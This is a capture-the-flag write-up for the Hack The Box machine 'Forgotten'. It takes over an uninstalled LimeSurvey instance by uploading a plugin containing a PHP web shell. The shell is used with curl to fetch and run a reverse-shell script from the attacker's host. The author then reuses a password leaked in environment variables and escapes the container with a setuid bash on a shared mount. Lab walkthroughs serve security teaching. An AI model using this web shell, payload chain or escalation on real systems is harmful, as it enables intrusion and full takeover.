Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ nmap -sC -sV -Pn 10.129.234.81 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 18:29 UTC
Nmap scan report for 10.129.234.81
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 28:c7:f1:96:f9:53:64:11:f8:70:55:68:0b:e5:3c:22 (ECDSA)
|_ 256 02:43:d2:ba:4e:87:de:77:72:ce:5a:fa:86:5c:0d:f4 (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.70 seconds
Page check
The index page give us 403 code, so we have to enumerate the valid web contents here
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ ffuf -u http://10.129.234.81/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.234.81/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.hta [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 273ms]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 273ms]
[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 273ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 276ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 369ms]
survey [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 312ms]
:: Progress: [4614/4614] :: Job [1/1] :: 144 req/sec :: Duration: [0:00:39] :: Errors: 0 ::
We can clearly found /surveywould be our target here.
When we try to visit /survey, we would redirect to download page

Continue the process of installing, we can find the version of limesurvey
It is LimeSurvey 6.3.7
Actually I did not find the valid CVEs for this version, so let's continue to step 4 to config the database

I don't know is there a database running in the target machine, so I guess I need to use docker to make sure there is a valid database location.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ docker run --name limesurvey-mysql -e MYSQL_ROOT_PASSWORD=rootpass123 -e MYSQL_DATABASE=limesurvey -e MYSQL_USER=limeuser -e MYSQL_PASSWORD=limepassword -p 3306:3306 -d mysql:latest
Unable to find image 'mysql:latest' locally
latest: Pulling from library/mysql
b5e369658cc0: Pull complete
254b59ee484a: Pull complete
3c2bfb0b6078: Pull complete
875f1cba1a38: Pull complete
22a8e223d007: Pull complete
5fef58f27908: Pull complete
60f9608fedba: Pull complete
d83cb0013480: Pull complete
6f28acb97b5e: Pull complete
690842f663f0: Pull complete
Digest: sha256:94254b456a6db9b56c83525a86bff4c7f1e52335f934cbed686fe1ce763116a0
Status: Downloaded newer image for mysql:latest
1f42de681fb9986b31b37e07113562ad175aae7aea56f918357f3d227729004f
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ sudo netstat -tnlp | grep 3306
[sudo] password for wither:
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 11286/docker-proxy
tcp6 0 0 :::3306 :::* LISTEN 11292/docker-proxy
Then finish these spaces
We can get config successfully and press Populate database, lead to administrator settings

Then change the password of admin

Then we can use the new credit to access to portal of administrator

Admin RCE
Come to Configuration -> Plugins
We can try to upload and install a malicious plugin to upload a web shell.
First creating a PHP web shell wither.php:
<?php system($_REQUEST['cmd']); ?>
Then from https://gitlab.com/SondagesPro/SampleAndDemo/ExampleSettings/-/blob/master/config.xml?ref_type=headsto get the example config file and save it as config.xml.
Finally, zip those files and upload it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ zip wither.zip wither.php config.xml
adding: wither.php (stored 0%)
adding: config.xml (deflated 53%)
We need to press install button, then we can try to exploit this web shell
It would be called ExampleSettings, the path would be /survey/upload/plugins/ExampleSettings/wither.php

To get a reverse shell, we need to modify our payload here.
http://10.129.234.81/survey/upload/plugins/ExampleSettings/wither.php?cmd=curl%20http://10.10.14.19/shell.sh%20-o%20/tmp/shell.sh
http://10.129.234.81/survey/upload/plugins/ExampleSettings/wither.php?cmd=chmod%20+x%20/tmp/shell.sh
http://10.129.234.81/survey/upload/plugins/ExampleSettings/wither.php?cmd=bash%20/tmp/shell.sh
We can successfully get the reverse shell as limesvc
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.19] from (UNKNOWN) [10.129.234.81] 33698
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
limesvc@efaa6f5097ed:/var/www/html/survey/upload/plugins/ExampleSettings$ id
id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
To get a stable shell, we can upgrade the shell
upgrade to PTY
script /dev/null -c bash
^Z
stty raw -echo; fg
Escape from docker env
After enumerating the file system of limesvc, there is nothing
limesvc@efaa6f5097ed:/$ ls -al /home/limesvc/
total 28
drwxr-xr-x 1 limesvc limesvc 4096 Sep 22 13:51 .
drwxr-xr-x 1 root root 4096 Dec 2 2023 ..
-rw------- 1 limesvc limesvc 61 Sep 22 13:51 .bash_history
-rw-r--r-- 1 limesvc limesvc 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 limesvc limesvc 3526 Mar 27 2022 .bashrc
-rw-r--r-- 1 limesvc limesvc 807 Mar 27 2022 .profile
Also, by checking the network config
limesvc@efaa6f5097ed:/$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 47222 bytes 5837070 (5.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 30602 bytes 15113088 (14.4 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1234 bytes 98364 (96.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1234 bytes 98364 (96.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
It is clear that we are in the docker environment, and we can find the .dockerenvfrom root directory
limesvc@efaa6f5097ed:/$ ls -al
total 304
drwxr-xr-x 1 root root 4096 Dec 2 2023 .
drwxr-xr-x 1 root root 4096 Dec 2 2023 ..
-rwxr-xr-x 1 root root 0 Dec 2 2023 .dockerenv
drwxr-xr-x 1 root root 4096 Dec 2 2023 bin
drwxr-xr-x 2 root root 4096 Sep 29 2023 boot
drwxr-xr-x 5 root root 340 Sep 22 08:04 dev
drwxr-xr-x 1 root root 4096 Dec 2 2023 etc
drwxr-xr-x 1 root root 4096 Dec 2 2023 home
drwxr-xr-x 1 root root 4096 Nov 21 2023 lib
drwxr-xr-x 2 root root 4096 Nov 20 2023 lib64
drwxr-xr-x 2 root root 4096 Nov 20 2023 media
drwxr-xr-x 2 root root 4096 Nov 20 2023 mnt
drwxr-xr-x 2 root root 4096 Nov 20 2023 opt
dr-xr-xr-x 282 root root 0 Sep 22 08:04 proc
drwx------ 1 root root 4096 Dec 2 2023 root
drwxr-xr-x 1 root root 4096 Nov 21 2023 run
drwxr-xr-x 1 root root 4096 Dec 2 2023 sbin
drwxr-xr-x 2 root root 4096 Nov 20 2023 srv
dr-xr-xr-x 13 root root 0 Sep 22 08:04 sys
drwxrwxrwt 1 root root 225280 Sep 22 13:49 tmp
drwxr-xr-x 1 root root 4096 Nov 20 2023 usr
drwxr-xr-x 1 root root 4096 Nov 21 2023 var
Continue to check the environment variables
limesvc@efaa6f5097ed:/var/www/html/survey$ env
HOSTNAME=efaa6f5097ed
PHP_VERSION=8.0.30
APACHE_CONFDIR=/etc/apache2
PHP_INI_DIR=/usr/local/etc/php
GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 BFDDD28642824F8118EF77909B67A5C12229118F 2C16C765DBE54A088130F1BC4B9B5F600B55F3B4 39B641343D8C104B2B146DC3F9C39DC0B9698544
PHP_LDFLAGS=-Wl,-O1 -pie
PWD=/var/www/html/survey
APACHE_LOG_DIR=/var/log/apache2
LANG=C
LS_COLORS=
PHP_SHA256=216ab305737a5d392107112d618a755dc5df42058226f1670e9db90e77d777d9
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
LIMESURVEY_PASS=5W5HN4K4GCXf9E
PHP_URL=https://www.php.net/distributions/php-8.0.30.tar.xz
LIMESURVEY_ADMIN=limesvc
APACHE_RUN_GROUP=limesvc
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=3
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
APACHE_RUN_DIR=/var/run/apache2
APACHE_ENVVARS=/etc/apache2/envvars
APACHE_RUN_USER=limesvc
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHP_ASC_URL=https://www.php.net/distributions/php-8.0.30.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
_=/usr/bin/env
OLDPWD=/var/www/html
We can find a password LIMESURVEY_PASS=5W5HN4K4GCXf9E and it worked for sudo -l
limesvc@efaa6f5097ed:/var/www/html/survey$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for limesvc:
Matching Defaults entries for limesvc on efaa6f5097ed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
Then we can directly use sudo rootto switch to root account
Also we can use this credit to ssh connect to target machine
┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Forgotten]
└─$ ssh limesvc@10.129.234.81
limesvc@forgotten:~$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc)
limesvc@forgotten:~$ whoami
limesvc
Privilege escalation
I would continue to check sudo -lfirstly
limesvc@forgotten:~$ sudo -l
[sudo] password for limesvc:
Sorry, user limesvc may not run sudo on localhost.
The /opt directory has containerd (typically associated with Docker) and a limesurvey directory:
limesvc@forgotten:~$ ls /opt
containerd limesurvey limesurvey6.3.7+231127.zip
There is a very interesting thing here, when we write something in the docker container, we can find it changed in the target machine
limesvc@forgotten:/opt/limesurvey$ ls
LICENSE SECURITY.md application docs index.php locale node_modules plugins psalm-strict.xml setdebug.php tmp vendor
README.md admin assets gulpfile.js installer modules open-api-gen.php psalm-all.xml psalm.xml themes upload
root@efaa6f5097ed:/var/www/html/survey# echo "hellp" > hello.txt
echo "hellp" > hello.txt
limesvc@forgotten:/opt/limesurvey$ ls
LICENSE SECURITY.md application docs hello.txt installer modules open-api-gen.php psalm-all.xml psalm.xml themes upload
README.md admin assets gulpfile.js index.php locale node_modules plugins psalm-strict.xml setdebug.php tmp vendor
As root in the container, I can copy /bin/bash in the shared web directory and SetUID / SetGID it:
root@efaa6f5097ed:/var/www/html/survey# cp /bin/bash ./
cp /bin/bash ./
root@efaa6f5097ed:/var/www/html/survey# ls
ls
LICENSE assets index.php open-api-gen.php setdebug.php
README.md bash installer plugins themes
SECURITY.md docs locale psalm-all.xml tmp
admin gulpfile.js modules psalm-strict.xml upload
application hello.txt node_modules psalm.xml vendor
root@efaa6f5097ed:/var/www/html/survey# chmod 6777 bash
chmod 6777 bash
root@efaa6f5097ed:/var/www/html/survey# ls -l bash
ls -l bash
-rwsrwsrwx 1 root root 1234376 Sep 22 14:07 bash
Then let's come back to target machine
limesvc@forgotten:/opt/limesurvey$ ls -al
total 1380
drwxr-xr-x 15 limesvc limesvc 4096 Sep 22 14:07 .
drwxr-xr-x 4 root root 4096 Dec 2 2023 ..
-rw-rw-r-- 1 limesvc limesvc 1091 Nov 27 2023 .htaccess
-rw-rw-r-- 1 limesvc limesvc 49474 Nov 27 2023 LICENSE
-rw-rw-r-- 1 limesvc limesvc 2488 Nov 27 2023 README.md
-rw-rw-r-- 1 limesvc limesvc 536 Nov 27 2023 SECURITY.md
drwxr-xr-x 2 limesvc limesvc 4096 Nov 27 2023 admin
drwxr-xr-x 15 limesvc limesvc 4096 Nov 27 2023 application
drwxr-xr-x 10 limesvc limesvc 4096 Nov 27 2023 assets
-rwsrwsrwx 1 root root 1234376 Sep 22 14:07 bash
drwxr-xr-x 7 limesvc limesvc 4096 Nov 27 2023 docs
-rw-rw-r-- 1 limesvc limesvc 8154 Nov 27 2023 gulpfile.js
-rw-r--r-- 1 root root 6 Sep 22 14:05 hello.txt
-rw-rw-r-- 1 limesvc limesvc 5564 Nov 27 2023 index.php
drwxr-xr-x 4 limesvc limesvc 4096 Nov 27 2023 installer
drwxr-xr-x 120 limesvc limesvc 4096 Nov 27 2023 locale
drwxr-xr-x 4 limesvc limesvc 4096 Nov 27 2023 modules
drwxr-xr-x 23 limesvc limesvc 4096 Nov 27 2023 node_modules
-rwxrwxr-x 1 limesvc limesvc 9672 Nov 27 2023 open-api-gen.php
drwxr-xr-x 3 limesvc limesvc 4096 Nov 27 2023 plugins
-rw-rw-r-- 1 limesvc limesvc 2175 Nov 27 2023 psalm-all.xml
-rw-rw-r-- 1 limesvc limesvc 1090 Nov 27 2023 psalm-strict.xml
-rw-rw-r-- 1 limesvc limesvc 1074 Nov 27 2023 psalm.xml
-rw-rw-r-- 1 limesvc limesvc 1684 Nov 27 2023 setdebug.php
drwxr-xr-x 5 limesvc limesvc 4096 Nov 27 2023 themes
drwxr-xr-x 6 limesvc limesvc 4096 Sep 22 13:42 tmp
drwxr-xr-x 9 limesvc limesvc 4096 Nov 27 2023 upload
drwxr-xr-x 36 limesvc limesvc 4096 Nov 27 2023 vendor
Then we can just execute this bash to get the root shell
limesvc@forgotten:/opt/limesurvey$ /opt/limesurvey/bash -p
bash-5.1# id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),2000(limesvc)
bash-5.1# whoami
root
Description
Very simple and typical LimeSurveyexploit path and the root path is simple and easy to find out.